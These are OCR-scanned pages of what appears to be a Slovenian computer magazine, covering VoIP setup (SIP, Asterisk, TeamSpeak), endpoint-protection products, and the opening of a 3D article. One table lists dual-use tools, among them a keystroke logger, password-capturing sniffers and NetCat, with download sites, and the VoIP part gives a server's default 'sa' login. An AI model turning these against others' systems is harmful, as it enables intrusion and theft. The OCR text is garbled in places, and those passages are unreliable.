primitiven protokol, ki pozna nekaj operacij:
vzpostavitev zveze (session setup), konec zveze
(termination) ter obve§€anje o spremembi sta-
nja (changes). SIP je besedilno usmerjen pro-
tokol, ki ni omejen le na prenos govora ozi-
roma telefonijo in je primeren za aplikacije z
ve&jim $tevilom sej. SIP podpira komunikacijo
med kon&nimi to¢kami (end to end) in podpi-
ra komunikacijo v smislu odjemalec—stre?nik
ter zagotavlja ustrezno signalizacijo. Prednost
protokola SIP je podpora mobilnosti in priso-
tnosti, zato lahko terminalno opremo prepro-
steje prenafamo med razli¢nimi omreZji. SIP ni
transportni protokol in ne podpira zagotavlja-
nja kakovosti storitev.

V omre?jih SIP lahko zasledimo ve& grad-
nikov: uporabnik (SIP User Agent) je lahko
kon&na naprava (telefon) ali stre?nik (ki skrbi
za dohodne klice). Namestniski streznik (SIP
Proxy Server) posreduje signalizacijo in lahko
deluje kot odjemalec ali strenik. Preusmerje-
valni streznik (SIP Redirect Server) skrbi za
preusmerjanje klicev na druge stre¥nike, regi-
strator (SIP Registrar) pa skrbi za registracijo
(prijavo) uporabnikov, podobno kot Home
Location Register (HLR) v GSM-omreZju.

V PRAKSI

Iz opisa elementov SIP lahko vidimo, da
podobno kot v okolju H.323 vseh elementov
za testiranje oz. govorno povezavo ne potre-



[P-omreZje ima velike potenciale za »ubi-
jalske resitve«. Naj nastejemo le nekatere, ki
se tako ali drugade prepletajo z VolP-om: na-
videzna resni¢nost, spletni IVR (Interactive
Voice Response), imeniske storitve, nepo-
sredno sporoanje, prednastavljeni klici ter
konference iz koledarja, Unified Messaging
(voice2email) ...

Sodobna omreZja prinagajo tako imenovano
porazdeljenost (distribuiranost). Inteligenca
ni ve¢ le v dolo€enih delih omreZja, temved
se prenasa tudi v konéne naprave (visja cena
naprav ni ve¢ problemati¢na). V dolo¢enih
primerih se vloga omare?ja celo zmanjsuje,
saj kon¢ne naprave lahko komunicirajo med
seboj, omreZje pa skrbi le za usmerjanje in
informacijo o stanjih. Tako doseZemo vecjo
proznost (preprosto vpeljavo novih storitev
v omreZje), manj¥a obremenitev omogoca
vedjo stopnjevanost (skalabilnost), hkrati pa
zaradi manjSega $tevila kriti¢nih dejavnikov
(¢e dolocena storitev ne tede, tudi ne more
zatajiti) doseZemo vecjo zanesljivost.

lzvor ITU ETF

Transport vetinoma TCP vetinoma UDP

Uporaba (video)telefonija | multimedijske
aplikacije, multicast

Arhitektura | sklad element

Kompleksnost | vecja manjsa

Sporogila binarna besedilo (podprt
Unicode)

Razhro$cevanje kompleksno preprosta orodja

(npr. tcpdump)

Storitve interakcija gnezdenje v polje
protokolov glave

Zdruzljivest | enake razliCice elementi v neznanih
H.323 poljih so prezrti

bujemo. Za zaletek bo zados¢al Ye namestni-
§ki SIP-stre#nik, pozneje pa bomo videli, da
lahko v eni napravi zdruZimo tudi ve¢ funkci-
onalnosti.

Ker nikakor ne morem iz svoje koZe, zopet
poglejmo po brezpla¢nih izdelkih (programski
nAn 5, ey Wi o | B
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Gastman je zabaven in uporaben vmesnik za Asterisk
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Kljuénega pomena je, da v IP-omre%jih
lo¢imo transportno raven od ravni progra-
mov oziroma storitev. Zato je mogo¢ dostop
do storitev prek kateregakoli operaterja, vsak
lahko postane operater, preprosta pa je tudi
vpeljava storitev v omreZje ...

Jasni pokazatelj potenciala VoIP je tudi ta,
da izginjajo »univerzalni« VolP-odjemalci, ki
jih pogosto nadomestijo posebni, namenjeni
uporabi v dologenem strefniku oz. pri doloce-
nih operaterjih.

Svet obi¢ajne telefonije si je tezko pred-
stavljati brez brezvrvi¢nih telefonov. V svetu
VolIP-a pa ti delajo prve korake in niso prav
pogosti (e zlasti v okolju H.323). Ena vrsta
telefonov uporablja za dostop do IP-omreZja
dostopne totke WLAN (npr. 802.11b), dru-
ga pa na brezvrvi¢nem delu uporablja vmes-
ni DECT (gre torej za »klasi¢ni sistem«, ki
omogodla priklop v ethernetno omreZje).

Dlan¢nik z moZnostjo dostopa do IP-
omre¥ja lahko uporabimo kot priloZznostni
VolIP-telefon. Na voljo so razli¢ni paketi s
podporo okoljem (H.323, SIP, SCCVP (Skin-
ny Call Control Protocol, Skype). Zal pa se
hitro pokaZejo dolocene pomanjkljivosti,
kot sta slaba akustika (potrebne so dodane
slusalke) in slaba avtonomija (vecja poraba
energije kot pri telefonih — potrebno je pogo-
stejSe polnjenje akumulatorjev). Te slabosti
pa lahko odtehta veg&ji zaslon ter s tem po-
vezana mo#nost uporabe dodatnih aplikacij.
Je pa dlanénik, podprt s programsko opremo
VoIP, kot nalas¢ za popotnike. Ne spomnim
se, kdaj sem zadnji¢ iz tujine uporabljal mo-
bilni telefon!

del !). V naSem primeru bomo posegli po Ze
uporabljenem [P-telefonu IP10S (SwissVoi-
ce), ki mu bomo nalofili programsko opremo
za SID, ter programskem telefonu (softphone)
X-Lite. Kljub kopici drugih brezplagnih pro-
gramskih [P-telefonov lahko recem, da gre
nesporno za eno najbolj§ih tovrstnih aplikacij,
ki obstaja v brezpla¢ni in komercialni razli¢ici
(www.xten.com/). Ostane nam le $e namestni-
8ki streznik SIP. Za okolje Windows je na voljo
SIP-stretnik OnDO, ki ga lahko za nekomerci-
alno rabo in izobraZevalne namene dobite na
spletni strani www.brekeke.com/en/download/
sipserver_type_en.html. Poleg paketa potre-
bujete v ratunalniku, ki ga Zelite uporabiti za
stre¥nik, tudi javo (razli¢ica 1.4 ali novejsa).
Po namestitvi SIP-stretnika dostopamo do
njega prek spletnega brskalnika (privzeto
geslo in uporabnigko ime sta »sa«). Osnovne
parametre stre?nika lahko ugotovimo iz me-
nija Status. Uporabnike lahko dodamo v me-
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sam svoj mojster: mala Sola IP-telefonije (4. del)

niju Authentication. To storimo z vnosom v
polje za uporabnisko ime in geslo, Ye registri-
rane uporabnike pa lahko izpiSemo z ukazom
za iskanje (brez imena — prazno polje). Regi-
strirane uporabnike v sistemu lahko vidimo v
meniju Registred, morebitno aktivnost zvez pa
v meniju za Sessions. Ce ste se pozorno brali
¢lanke v preteklih Stevilkah, ste verjetno tudi
sami ugotovili, da je zadeva sumljivo podobna
ob&utku in ter informacijam, ki jih dobimo pri
vratarju H.323. Ce imate na voljo ve& strojne
opreme, se lahko poigrate tudi z nastavitvami
usmerjanja (meni Dial Plan). Ce boste zasli v
slepo ulico, vam svetujem, da si pomagate s
solidno in ne preobsirno dokumentacijo, ki jo
lahko dobite na http://www.brekeke.com/en/
download/idx_doc_sipserver_en.html

Tako kot smo v svetu Linuxa ?¢ malodane
vajeni, lahko dobimo tudi brezplaéen paket
z Yeleno funkcionalnostjo SIP. Omenimo le
SIP Express Router (SER) — brezpla¢ni SIP-
stre?nik, ki lahko deluje kot SIP-registrator,
namestniski ali preusmerjevalni stre?nik in ga
lahko uporabimo v najrazli¢nejsih aplikacijah
(domaca pisarna, zamenjava obstojece hiine
centrale ali celo v operaterske namene). Krajsi
opis moznosti najdete na http://www.iptel.org/
ser/doc/ser.pdf. Za resnejse delo pa se je treba
poglobiti v priro&nik, kar pa presega okvire, ki
so nam na voljo.

ASTERISK, KI NI GALSKI ASTERIX

Vsi, ki se v svetu komunikacij ukvarjajo z
VoIP-om, ne morejo mimo $e enega projekta
odprte kode. Ambicija vseh, ki se ukvarjajo z
razvojem Asteriska (http://www.asterisk.org)
je »izdelek«, ki bi na podro&ju VolP-a pome-
nil to, kar je na podro&ju spletnih stre?nikov
Apache. Projekt je zanimiv iz ved razlogov.
Programska oprema je na voljo brezplaéno in
ne zahteva posebne strojne opreme. Za osnov-
no postavitev (testiranje IP-dela) vmesniskih

Campm Coreas Szwy P bmmiey b g

Pogled na trenutno zasedenost enega od slovenskih
streznikov TeamSpeak

kartic (FXO, FXS, BRI) ne potrebujemo. Ce
Yelimo sistem Asterisk prikljuciti v obicajno
omreZje oz. telefonsko centralo, lahko storimo
to 7e z ISDN-kartico (ISDN-modemom) za le
nekaj tisotakov. Drug razlog, ki govori v prid
Asterisku, je Siroka podpora projektu. Na vo-
ljo so solidna dokumentacija, veliko zgledov
nastavitev ter dejavnosti v forumih. Sistem
modularne zgradbe vmesnikov omogo¢a nad-
gradnjo lastnih aplikacij in razsiritev. Asterisk
lahko uporabimo tudi v vlogi namenskega pro-
grama (npr. star ratunalnik lahko spremenimo

v sistem govorne poste v obstojeci telefonski
centrali ali v samodejnega posredovalca na
podlagi tonov DTMF). Asterisk tudi ni ome-
jen le na protokol SIP, saj je lahko z ustreznimi
popravki (patch) uporaben tudi v povezavi z
okoljem H.323. 5

Zelite poskusiti? Prva ovira ... Linux. Ce so-
dite med uporabnike, ki imajo Linux name3¢en,
ni pa vam pri srcu prevajanje, lahko poskusite z
namestitvijo paketov rpm. Pakete za distribu-
ciji RedHat in Fedoro dobite na strani ftp://ftp.
linuxsys.com/pub/LSE/packages/. Namestiti je
treba vse datoteke za posamezno distribucijo
(Asterisk, Modules ...). Ce se boste odlocali za
namestitev v ra¢unalnikih z drugimi distribu-
cijami, si prej oglejte stran http://www.voip-
info.org/wiki-Asterisk+OS+Platforms. Na tej
strani pa lahko vidimo, da Asterisk ni na voljo
samo za Linux, temved (z omejeno funkcio-
nalnostjo) tudi za druge operacijske sisteme
(FreeBSD, OpenBSD, Mac OS X, Solaris,
Windows) ter na CD-ju z Zivo/namestitveno
distribucijo. Razli¢ica za Windows (AstWind)
deluje dejansko prek coLinuxa (Cooperative
Linux), ki je vrata Linuxovega jedra in omo-
gola izvajanje Linuxovih programov v oko-
lju Windows brez komercialnih izdelkov tipa
VMware. Celotna namestitev (ftp://ftp.nacs.
net/asterisk/astwind; priblizno 120 MB) vse-
buje coLinux, WinPcap, »datote¢ni sistem«
Debian in prednastavljene konfiguracijske da-
toteke. Z nekaj truda pa lahko shranite celoten
paket (Linux) tudi na pomnilnik CompactF-
lash ali USB-klju¢. Iz prakti¢nih izkugenj lah-
ko re¢em: tudi za Asterisk velja, da ni tefava
postavitev sistema, temved je »frajer« tisti, ki
zna sistem primerno nastaviti.

IGRAGKANJE

Prenos govora prek protokola IP pozna veli-
ko igralcev omreZnih iger. Za tovrstne name-
ne lahko uporabite javni stre?nik ali, kar je Se

DSEM PRIVLACNIH DOMOYVAN
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vabljivejie, postavite
svojega (tudi &e vas
igralni del na zani-
ma!). Med kopico
moznostmi omenimo
le nekatere najbolj
priljubljene: ~ Mic-
rosoft SideWinder
(www.gamevoice.
com), TeamSpeak
2 (www.goteamspe-
ak.com), Ventrilo
(www.ventrilo.com)
... Vsi navedeni stre?-
niki in odjemalci so
na voljo brezpla¢no,
meni pa je najljubsi
TeamSpeak.

TeamSpeak ponuja
Sirok nabor mo?no-
sti, na uporabniskem
in stre?niskem delu
pa podpira okolje
Windows oziroma Linux. Ratunalniku z na-
mes¢enim Linuxom, ki tako ali tako ves &as
deluje v vlogi ADSL-usmerjevalnika/po¥arne-
ga zidu, lahko dodamo $e »paket« za stre?nik
TeamSpeak in omogo&imo uporabnikom (z
odjemalci Windows/Linux) preprosto komuni-
kacijo. Ker komunikacija poteka neposredno
med uporabniki, je dodatna obremenitev si-
stema zanemarljiva. Namestitev strefnikov ni
problemati¢na, saj za delovanje (upravljanje,
komunikacija) potrebujemo le majhno 3tevilo
vrat. Pazljivi pa moramo biti glede pravic/upo-
rabnika, ki zaganja stre?nik. Vsak stre?nik po-
meni namre¢ dolo¢eno tveganje, saj se lahko
prek njega kdo polasti vadega sistema. V pre-
mislek: namestili smo stre?nik TeamSpeak, za-
vestno pustili odprta vrata in s tem omogo¢ili
uporabo stre¥nika tudi iz interneta, IP-naslova
strefnika pa nismo javno objavili. Kaj mislite,
kako dolgo je trajalo, da je prva »muha« pri§la
tja, kamor naj ne bi? Po dveh dneh sta prek
strefnika Ze komunicirala fanta z gorenjskim
naglasom, seveda o temi, ki z igrami ni imela
ni¢ skupnega.

ZA KONEC

Iz tega se lahko nau¢imo marsikaj ! Celo bolj
kot kakovost, stabilnost in preprostost upora-
be je pomembna varnost, e zlasti &e gremo v
lastne VolP-refitve s premalo znanja in omo-
golimo povezovanje z javnim omreZjem. V
nasprotnem primeru se lahko hitro zgodi, da
boste morali plaati tuje racune (in to morda
sploh ne majhne!). Sicer pa, tehnoloska revo-
lucija se dogaja — pridruZite se ji.

Za dlanénike je na voljo
precej programske
opreme za VolP

Hat'E ra'

rewia je prw

Zenski tabloid?

C Pr| nas doma
Poklicite 090 93 61 43




varnost

VAROVANJE KONCNIH
NAPRAV V OMREZJU

Dosedanja varnostna politika v racunalniskih omreZjih se je v glavnem

ukvarjala s preprecevanjem fizicnega dostopa do aktivne omrezne opreme z
zagotavljanjem redundantnih povezav in napajanja ter z aktivnimi pozarnimi
zidovi ali celo sistemi za zaznavanjem poskusov vdorov. Zakaj danes to pogosto

ne zadoSca in kaksni so trendi?

PiSe: Jaka Mele
jaka.mele@mojmikro.si

se zgoraj omenjeno je sicer z usklajenim
medsebojnim delovanjem in uteteno
varnostno politiko organizacije delovalo
in ponujalo tudi visoko stopnjo zaiCite.
Vendar pa se je tefava pojavila drugje. Uporab-
niki, ki so del takega omreZja, danes v vse ve&ji
meri uporabljajo prenosne ratunalnike, s kate-
rimi se povezujejo tako v intranet kot v inter-
net, mnogokrat tudi prek omre%ij sumljivega
porekla, kot so lahko javne vrote tocke wi-fi
povletali§éih, hotelih, doma, pri znancih ...
Sirjenje érvov in drugih nevarnih progra-
mov je za sistem Windows $e posebej nevarno,
saj veliko nepridipravov izkoris¢a e znane luk-
nje v sistemu, luknje, za katere so ¥e nekaj ¢asa
na voljo tudi varnostni popravki. Ce uporabnik
teh lukenj ne zakrpa, se racunalnik v javnih
omreZjih hitro okuZi. Po eni izmed $tudij ratu-
nalnik s sve¥o namestitvijo sistema Windows v
internetu zdr¥i priblizno 20 minut, preden se
oku?i s katerim izmed virusov ali &rvov.

ZGLED NEVARNOSTI

Poglejmo zgled, kjer se poslovni uporabnik,
ki ima v podjetju dostop v krajevno omreZje,
varovano z omejitvijo na fizicni (MAC) na-
slov omre?nega vmesnika v njegovem pre-
nosniku, odpravi na daljSo poslovno pot. Tam
med delom na terenu nima ¢asa ali mo#nosti
nadgrajevati varnostnih popravkov za sistem
ali pa protivirusnih knjiZnic (nadgradnje so
morda izvedene lokalno prek streznikov v do-
macem poslovnem omre%ju). Po nekaj tednih
take, od domadega omre¥ja odrezane uporabe,
protivirusni program v prenosnem racunalniku
ne zazna ved novih, pred nekaj dnevi nastalih
virusov ali &rvov, ki izkori§¢ajo novo odkrite
luknje v sistemu. Racunalnik se oku%i.

Ko se poslovne? vrne v mati¢no organizaci-
jo, se seveda priklopi v krajevno omre%je. Edini
varnostni mehanizem tu je seveda blokada fi-
zi¢nega dostopa ter priklopa v omreZje. Fizi¢ni
dostop zaposleni ima, prenosnik pa se tudi lah-
ko priklopi v omreZje, saj dosedanji varnostni
mehanizmi preverjajo le identiteto omre¥ne
kartice. Ker drugi ve¢plastni mehanizmi var-
nosti v omre%ju delujejo pogosto le na prehodu
med krajevnim in javnim omre¥jem, torej na
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bilo opravljeno celotno virusno preiskovanje
ratunalnika manj kot pred nekaj nekaj dnevi,
da je protivirusna za3¢ita aktivna, da je aktivna
pozarna pregrada ...

CISGO

Eden izmed prvih, ki je tako celovito program-
sko regitev tega razreda zelo glasno oziroma s
podporo marketinga v velikem $tevilu porinil na
trg, je podjetje Cisco. Program Cisco Security
Agent (CSA) ter napredna razlicica Advanced
CSA sta sicer nastala iz programa StormWatch
podjetja Okena, ki ga je Cisco kupil predlani.

Izdelek zagotavlja zas&ito pred nevarnostmi,
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Zivljenjski cikel obicajnega

omreznega napada

usmerjevalniku proti ponudniku internetne
povezave, ti mehanizmi ne zai€itijo drugih
internih racunalnikov priklju¢enih v krajev-
no omreZje. Odvisno od tipa ¢rva ali virusa se
temu v nekaj dneh uspe razsiriti v vse lokalne
ratunalnike in organizacija ima lahko velike
tezave.

RESITEV: VAROVANJE KONCNIH NAPRAV

Tega problema so se zaeli zavedati tudi pro-
izvajalci omre¥ne opreme ter varnostne pro-
gramske opreme. V $iroki industrijski navezi,
kjer sodelujejo Microsoft, Cisco, CA, 3Com,
Symantec, TrendMicro, Network Associates,
Harris, WatchGuard in drugi, se ukvarjajo z
varovanjem kon¢nih naprav. Ideja je v omre¥je
vdelati dodaten upravljalni sloj, ki bo dejanski
dostop do omreZja dovolil konénim napravam
Sele po tem, ko bodo izpolnile vse zahtevane
pogoje. Politika organizacije dolo¢a pogoje,
med njimi pa velikokrat najdemo naslednje:
da so names&eni vsi varnostni popravki opera-
cijskega sistema, do so lahko knjiznice protivi-
rusnega programa stare najve¢ nekaj dni, da je

ki pretijo strelnikom in namiznim ter pre-
nosnim ra¢unalnikom, skratka, poskrbi za vse
kon&ne postaje. Aplikacije ponuja vec kot kla-
si¢ne streZniske in namizne varnostne refitve,
saj prepoznava in prepreuje $kodljivo vede-
nje, preden se lahko zgodi in raziri na druge
v omreZju. S tem odstranjuje nevarnost poten-
cialnih znanih in neznanih (imenovanih tudi
Day Zero) nevarnosti, ki grozijo organizacijam
in posameznikom.

CSA prepreuje znane in neznane varnost-
ne te¥ave na poseben nacin. Zanj se uveljavlja
naziv preprecevanje vdora v gostitelja (host
intrusion prevention ali HIP). CSA zbira in Siri
nabor varnostnih funkcij kon¢nih naprav s
tem, da prepreuje vdor v racunalnik, postav-
lja porazdeljeno po¥arno pregrado, zagotavlja
varovanje pred nevarno kodo ter zagotavlja
neokrnjenost operacijskega sistema, pregle-
dovanje dnevnikov dogajanja (log) — vse to v
enem samem paketu.

Cisco CSA teoreti¢no §¢iti omre¥je tudi pred
prihodnjimi poskusi vdorov in pred okuzbami
z virusi, ki $e niso bili napisani. Kot so poka-



V PRAKSI

zali zelo vidni napadi na ra¢unalniska omre%-
ja, recimo Code Red in SQL Slammer, ki je
tudi slovenski internet ohromil za skoraj 24 ur,
imajo tradicionalne tehnologije za varovanje
kon&nih naprav omejene zmogljivosti prepre-
&evanja in zaustavljanja novih in razvijajo¢ih
se neviecnosti. Ker CSA analizira obnasanje,
namesto da bi se zanaSal na ujemanje z zapisom
v knjifnici te¥av, je to reSitev, ki ponuja ro-
bustno za$¢ito z manjsimi operativnimi stroski.
Uporabniki potrebujejo robustno zas¢ito kong-
nih postaj, kot so stre?niki in delovne postaje
ter prenosniki, pa tudi dlan&niki in pametni
mobilni telefoni, saj s tem preprecijo Siritev
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Cisco GSA skrbnikov uporabniSki vmesnik

nevsecnosti in napadov v krajevno omreZje in
do kriti¢nih aplikacij v njem.

Ce povzamemo prednosti zbiranja in razpro-
stiranja nabora varnostnih funkcij skozi celotno
omre¥je kon¢nih naprav z eno samo aplikacijo,
to omogoca zaiCito pred celotnimi druZinami
napadov, vklju¢no s pregledovanjem odprtih
vrat (port scan), izkori§¢anjem prese?enega pred-
pomnilnika (buffer overflow), trojanskimi konji,
popalenimi paketi, zlonamerno HTML-kodo v
e-postnih sporoéilih ter e-postnimi &rvi.

Cisco CSA ponuja zaicito, ki je ta hip vodil-
na v industriji tako za osnovo Unix kot Win-
dows, poleg standardne pa ponuja e specifi¢no
aplikacijsko zas&ito za spletne stre?nike in zbir-
ke podatkov. Arhitektura resitve je odprta in
razSirljiva, kar ji omogoca opredelitev in ude-
janjanje varnostne politike glede na politiko
organizacije. CSA je stopnjevana (skalabilna)
reitev, saj lahko deluje v treh, desetih ali pet
tiso¢ napravah, vezanih na eno nadzorno po-
stajo. CSA kot Ciscov izdelek ponuja tudi po-
vezano upravljanje z varnostnimi napravami
Cisco PIX, Cisco Secure IDS in Cisco VPN.

Delovanje sistema CSA je vodeno iz cen-
tralne upravljavske postaje, kjer program
CiscoWorks Management Center for Cisco
Security Agents (CWM) doloca centralno
politiko in nagin distribucije, ponuja nadgrad-
njo programske opreme ter vzdriuje komunika-
cijo z agenti CSA. CWM omogo&a upravljanje
od koderkoli, saj s spletnim vmesnikom prese-
ga krajevne in ¢asovne omejitve ter omogoca
skrbniku enostaven in hiter pregled in nadzor
nad tiso&i odjemalcev oz. agentov.

Oba izdelka sta del celostne resitve Cis-
coWorks VPN/Security Management So-
lution. Ta pa je sestavni del programa SAFE
Blueprint for Enterprise Network Security,
ki pomaga organizacijam, da se ukvarjajo le s
tistim, kar je njihova klju¢na dejavnost, in ne
izgubljajo odvene energije, denarja in Casa z
racunalniskimi omre%ji in varnostjo oziroma
z odpravljanjem teZav. Paket vsebuje spletna
orodja za nastavljanje, spremljanje in odprav-
ljanje te¥av s povezavami navideznih zasebnih
omreZij, pozarnih pregrad, sistemov za zazna-
vanje vdorov, sistemov za zaznavanje varnosti
koné¢no naprave ...

Nmap www.insecure.org

Nessus WWW.NEssus.org

WinDump | windump.polito.it

EtherPeek = www.wildpackets.com

SilentLog | packetstorm.decepticons.org/Win/SilentLog.zip
Firehole keir.net/firehole.html

NetCat www.atstake.com/research/tools
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Carovnik za upravljavska opravila
v programu eTrust AC

Starosta na podrodju programske opreme,
namenjene velikim organizacijam, Computer
Associates izpostavljeni problem naslavlja z
naborom reSitev druZine eTrust. Osrednjo vlo-
go ima eTrust Access Control (AC), ki je ena
mod&nejsih in robustnejsih aplikacij na tem po-
dro¢ju. Zal je za faktor 2 od kateregakoli kon-
kurenta ve¢ja tudi cena. AC zato edini ponuja
visoko stopnjo nadzora, ki skrbniku omogota,
da omeji uporabnika, mo¥no je celo omejeva-
nje glede na ¢as in dan v tednu, kar je prav po-
sre¢eno. AC rabi tudi kot centralni repozitorij
za ustvarjanje in upravljanje z uporabniskimi
profili.

Moéna stran izdelkov CA sta predvsem pod-
pora vsem osnovam in visoka raven povezo-
vanja. AC se tako lahko povezuje z aplikacijo

varnost

Unicenter, alarmi in opozorila pa se razposilja-
jo s programom eTrust Audit.

Drugi izdelki druZine eTrust dodatno Siri-
jo funkcionalnost. eTrust Access Support z
nadzorom dostopa, temelje¢em na varnostni
politiki, regulira dostop do kriti¢nih sredstev
v omreju ter dolo¢a moZnosti njihove rabe. V

Orodje za odkrivanje omreZij ter odprtih vrat v
posameznih streznikih

Brezplacen, odprtokodni program za testiranje
varnostnih tezav; deluje v Linuxu; preverja tudi
sisteme Windows.

Hiter in kakovosten program za zajem omreznega
prometa in gesel. Razlicica Unixovega tcpdump za
Windows.

Komercialni prestreznik omreznega prometa
Snemalnik pritiskov na tipkovnico

Test delovanja osebnega pozarnega zidu

Program, ki se pretvarja, da je streznik za prijavljanje,
in deluje v poljubnih vratih

navezi z izdelkom eTrust CA-ACF2 Security
sistem omogoc¢a nadzor porazdeljenega okolja
do kon&nih naprav, kar zagotavlja vec¢jo var-
nost, teko¢e administrativno delo, dostop v
omreZje z enim samim klikom ter varnost na
ravni osnove in na ravni omre%ja, kjer je po-
skrbljeno tudi za preverjanje in spremljanje
dejavnosti.

Tveganim odjemalcem, ki lahko nevede
nepridipravom odprejo stranska vrata v za-
prt, urejen sistem, eTrust ponuja $e orodje
Vulnerability Manager (VM), ki je bila prva
taka aplikacija v poslovnem svetu. Ze tradici-
onalno je celostno preverjanje potencialnih
ranljivosti in nastavljanje ter nadgrajevanje
vseh komponent sistema in s tem zagotavlja-
nje upravljanja dolgotrajno, zamudno delo, ki
je zahtevalo dodatno ¢lovesko delo, znanja iz
razli¢nih podrocij in uporabo mnovice lo¢enih,
nepovezanih in dragih resitev. Skrbniki siste-
mov so bili prezasedeni, ranljivosti in napa¢ne
nastavitve sistemov pa so ostali nepopravljeni.
Vodstvo organizacije se pogosto ni zavedalo
stanja in dogajali so se napadi in teZave, oku%-
be v omreZju. Cilj sistema Vulnerability Ma-
nager je preventiva, torej enotno upravljanje
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varnost

Zamisel varovanja
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koncnih naprav
v omrezju je

vdelati v omrezje

dodaten upravljaini

s | sloj, ki bo dostop
| do omreZja

dovolil kon¢nim

napravam Sele, ko

bodo izpolnile vse
zahtevane pogoje.

Nastavljanje uporabnikovih pravic v eTrustu AC

posameznih refitev nadgrajevanja in poprav-
ljanja, kar je alternativa odpravljanju te¥av, ko
do njih %e pride.

VM ugotovi, za kaksno tehnologijo (osno-
vo) gre v ciljni napravi in kak3ne storitve delu-
jejo v njej. Nato seznam primerja s seznamom
znanih pomanjkljivosti, rezultat tega dela pa je
seznam potrebnih popravkov in ukrepov, raz-

Proaktivne varnosti v potroSniski opremi
in v omrezjih srednjih in malih podjetij
vecinoma $e ni, trend pa kaze, da bo
morda Ze v letu 2005 prav ta del IT-trga
postal izredno donosen in hitro rastoc.

vri¢en glede na kriti¢nost. Sele ko v napravi
ni znanih pomanjkljivosti, jo CA eDirector
spusti v omreZje, sicer pa obvesti skrbnike.

SYMANTEC

Tudi Symantec kot tipi¢en predstavnik pro-
gramskega podjetja, usmerjenega na podrocje
za¥Citne in vzdrievalne programske opreme, je

File Protedtion Wirard

Bedding Accesrom
Add umen snd groups sulharoed by sccess e resorce
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omreZja dr¥ijo iste varnostne politike oz. pred-
pisov. Aplikacija podpira vse glavne standarde
na tem podrod&ju.

Zamanjse uporabnike, oziroma za zagotavlja-
nje varnosti na ravni omre?ja pa skrbi Syman-
tec Host IDS. Ta v stvarnem &asu spremlja de-
lovanje in posreduje pri varnostnih tefavah in
drugih nedovoljenih dejavnostih. Program je
komplementaren poZarnim zidovom in drugim
reSitvam za nadzor dostopa. Skrbnikom omo-
gota vzpostavitev proaktivne zaicite.

DRUGI
Ponudbe na podro¢ju programskih regitev
HIS ni malo in med bolj znana imena lahko
$tejemo Se najmanj reSitvi AppFire Suite pod-
jetja Platform Logic ter program Sana Securi-
ty Primary Response. Vendar pa obe pri nas
%al nista prisotni, tako da
Xl ni mo¢ dobiti vet infor-
macij.

POVZETEK

Proaktivna varnost v
potro$niski opremi in v
srednjih ter manj§ih pod-
jetjih (omre%jih) $e ni do-
volj prisotna, vendar trend
kaZe, da bo morda Ze v letu
2005 prav ta del IT-trga
postal izredno donosen in
hitro rasto&. S Ciscovimi
napovedmi, da bomo do
leta 2008 presli na inte-
ligentno aktivno omrez-
no opremo, bo moral biti
3] HIS kot komunikacijski

vmesnik do tega sistema

fEﬂ.IHHJ-l

Coeel |

v vsakem racunalniku in

Halo I v vsaki napravi. Kaj ve¢

utegne na to temo prinesti

Nastavljanje dostopov do sredstev in posameznih datotek v eTrustu AG

predstavil svoja orodja, ki skrbijo za preprede-
vanje okuzbe z vstopom tveganega ratunalnika
v omre¥je. Aplikacija Symantec Vulnerability
Assessmen podobno kot CA VM poisce po-
tencialne slabosti naprave (ratunalnika) ter
nanje opozori. SVM omogoca e enostavno
nadgradnjo knji¥nice z nevarnostmi prek sto-
ritve Live Update.

KnjiZnice nevarnosti in pomanjkljivosti vse-
bujejo zapise o virusih, zadnjih nadgradnjah
operacijskega sistema, opozorila storitve Bug-
Traq, CVE... Program je primeren predvsem
za vedje organizacije, kjer je v navezi s progra-
mom Symantec Enterprise Security Manager
odlien par, saj slednji skrbi, da se vsi ¢lani
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c tak ai drua(“:e povezanin s slovensko informacijsko

srenjo lahko najdete na nasi spl

tudi Microsoftov Long-
horn, ki ga vse ve¢ ljudi
vidi kot dogodek, ki bo tehnologijo in varnost
dvignil na novo raven.

Na podrogje varnosti in zanesljivosti inter-
neta pa ne merijo samo proizvajalci aktivne
omre?ne opreme, kot je Cisco. Svojo vizijo je
v projektu PlanetLab pred kratkim predsta-
vil tudi Intel. Pametni programi ali pametna
omre¥ja — sti¢i¥¢e je v besedi pametno. In v
pametno smer gredo ves razvoj in obljube, po-
&akati je treba le na dejanske rezultate ... Ali je
to prava resitev, ki bo preprefevala nenadne iz-
bruhe in bliskovite iritve virusov in &rvov po
vsem svetu, pa je Se vpraSanje. Zal je %e tako,
da za vsako za¥¢ito obstajajo poti naokoli.
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3D-tehnologije

Pise: Esad Jakupovié
esad.jakupovic@mojmikro.si

Zivimo v barvnem in trirazseznem

svetu, kar poCasi dohajajo tudi
tehnologije. RaCunalniski razvoj nas je

iz enobarvnega in dvoraszeznega sveta
pripeljal v svet barv in vse bolj tudi tretje
razseznosti na najrazlicnejsih podrocjih.

»Dotik« na daljavo: taktilni vmesnik Interactice
Haptic Painting na Univerzi North Caroline, ki ga
uporabljajo za slikanje na daljavo.

vet ratunalniStva je bil na zacetku eno-

barven, ker so bili monitorji enobarvni in

tudi programska oprema ni poznala barv.

Tudi prvi tiskalniki so bili &mo-beli in
opti¢ni bralniki so videli slike skozi enobarvna
»olesa«. Ni¢ Cudnega: tudi prvi fotoaparati so
bili ¢rno-beli in televizorji tudi. V dvajsetih let
racunalnigkega obdobja so se nase vizije spreme-
nile. Danes je vse v
barvah in &rno-belo
tiskanje uporablja-
mo samo za mnozic-
ne izpise, medtem ko
enobarvnega optic-
nega branja in prika-
zovanja ne uporablja
nih¢e. Racunalniski
svet je danes izpol-
#  njen z barvami, pa
ne samo zato, ker
je tako lepsi. Raz-
iskovanja  podjetij
Xerox, Forrester Re-

Avtomatizirano 3D-opticno
branje: prenosna naprava

Vivid 910 podjetja Konica search in drugih po-
Minolta za enostavnejse trjujejo  velikanske
branje prednosti barv pri

pomnjenju, prepo-
znavanju, vplivu, urejanju, hitrosti reagiranja in
podobnih zadevah. In kdo bi se danes odpovedal
grafi¢cnemu uporabniskemu vmesniku, ploskemu
monitorju, barvnemu tiskalniku, digitalnem fo-
toaparatu, videu in digitalizaciji!

Racunalni§tvo je od zaletka tudi dvorazse¥no
in je to v glavnem Se vedno. Tretja razseZnost je
seveda zelo prisotna v programski opremi za ra-
¢unalnisko podprto na¢rtovanje in proizvodnjo,
za zabavo in podobno, vendar je prikazovanje
tudi s tak§no opremo $e zmeraj dvorazse?no. Tudi
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knjige, revije, film in televizija so v medijskem
smislu dvorazseni. Ceprav so kot objekti triraz-
se¥ni, izpisane strani knjige in revije ter prikazi
na platnu ali zaslonu nimajo resni¢ne globine
ali debeline v smislu dimenzije. Zadnja leta po-
